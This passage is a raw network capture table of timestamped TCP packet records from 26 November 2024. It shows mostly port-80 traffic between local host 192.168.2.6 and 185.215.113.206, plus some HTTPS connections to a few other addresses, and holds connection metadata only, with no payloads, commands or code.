Nov 26, 2024 01:41:45.955013990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.955821037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.955872059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.955914021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.955948114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.956738949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.956819057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.956898928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.956949949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.957696915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.957753897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.957819939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.957904100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.958614111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.958662987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.958775997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.958830118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.959537983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.959636927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.959687948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.960462093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.960521936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.960557938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.960601091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.961426973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.961489916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.961514950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.961549044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.005074978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.005135059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.005139112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.005173922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.005537987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.005590916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.005620956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.005664110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.006477118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.006536007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.006572008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.006614923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.007399082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.007453918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.007498026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.007539034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.008311033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.008380890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.008424997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.008483887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.009253979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.009272099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.009334087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.010185003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.010232925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.010294914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.010366917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.011136055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.011190891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.011246920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.011318922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.012048006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.012098074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.012161016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.012202024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.012964964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.013025045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.013031960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.013066053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.013914108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.013983965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.014008045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.014050007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.014854908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.014920950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.014955044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.015067101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.015774012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.015856028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.015886068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.016124010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.016714096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.016783953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.016797066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.016839027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.017636061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.017702103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.017739058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.017776966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.018542051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.018603086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.018668890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.018795013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.019500017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.019562006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.019599915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.019640923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.020443916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.020513058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.020520926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.020581961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.021377087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.021445036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.021478891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.021522999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.022291899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.022372961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.022403002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.022449017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.035895109 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.036241055 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.036273003 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.036609888 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.039127111 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.039206028 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.039359093 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.062591076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.062611103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.062621117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.062709093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.062724113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.062778950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.063296080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.063368082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.063437939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.063728094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.064203978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.064282894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.064296007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.064485073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.083336115 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.100228071 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.100517035 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.100555897 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.101624966 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.101707935 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.102180958 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.102252007 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.102368116 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.105576038 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.105820894 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.105842113 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.107346058 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.107424974 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.107816935 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.107892990 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.107978106 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.136151075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.136219025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.136233091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.136295080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.136621952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.136681080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.136718988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.136842012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.137594938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.137604952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.137721062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.138998032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.139059067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.139332056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.139410019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.139451027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.139461994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.139503956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.140341997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.140436888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.140449047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.140739918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.141407967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.141458988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.141477108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.141514063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.142195940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.142249107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.142313957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.143134117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.143229961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.143299103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.143342972 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.143642902 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.143667936 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.144088030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.144148111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.144170046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.144731045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.144994020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.145051003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.145155907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.145205975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.145914078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.146032095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.146073103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.146106958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.146852016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.146929026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.146960974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.147017956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.147787094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.147835970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.147866964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.147891998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.148736954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.148828030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.148906946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.149646997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.149719000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.149754047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.149801016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.150578022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.150650024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.150679111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.150712967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.151338100 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.151509047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.151616096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.151669025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.152427912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.152534962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.152599096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.153361082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.153441906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.153451920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.153529882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.154311895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.154412985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.154422045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.154521942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.155234098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.155308962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.155347109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.155410051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.156168938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.156250000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.156279087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.156414986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.157084942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.157191038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.157258987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.158005953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.158096075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.158185005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.158941031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.159010887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.159044981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.159238100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.159348011 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.159372091 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.159868002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.160060883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.160130024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.160792112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.160846949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.160881996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.160917044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.161731958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.161798954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.161837101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.161878109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.162659883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.162739992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.162750959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.163042068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.170794964 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.172144890 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.172167063 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.172183037 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.173444033 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.173455954 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.173475981 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.173520088 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.173944950 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.174186945 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.174787998 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.174871922 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.175081968 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.175304890 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.175405025 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.175575018 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.176824093 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.177063942 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.177098989 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.177449942 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.178698063 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.179111004 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.179207087 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.179299116 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.179733992 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.179749966 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.180452108 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.180457115 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.188258886 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.190900087 CET	443	49896	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.191134930 CET	49896	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.191162109 CET	443	49896	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.192169905 CET	443	49896	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.192250013 CET	49896	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.192572117 CET	49896	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.192632914 CET	443	49896	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.203669071 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.212085009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.212188005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.212205887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.212285995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.212443113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.212507010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.212579012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.213372946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.213443041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.213732004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.213850021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.213922024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.214684963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.214750051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.214776039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.214818954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.215564966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.215646029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.215689898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.215751886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.216520071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.216563940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.216615915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.216653109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.217466116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.217575073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.217684984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.218373060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.218482018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.218533993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.218856096 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.218874931 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.218878984 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.218893051 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.219331980 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.219335079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.219393969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.219424009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.220238924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.220299959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.220344067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.220411062 CET	49813	80	192.168.2.6	185.215.113.206
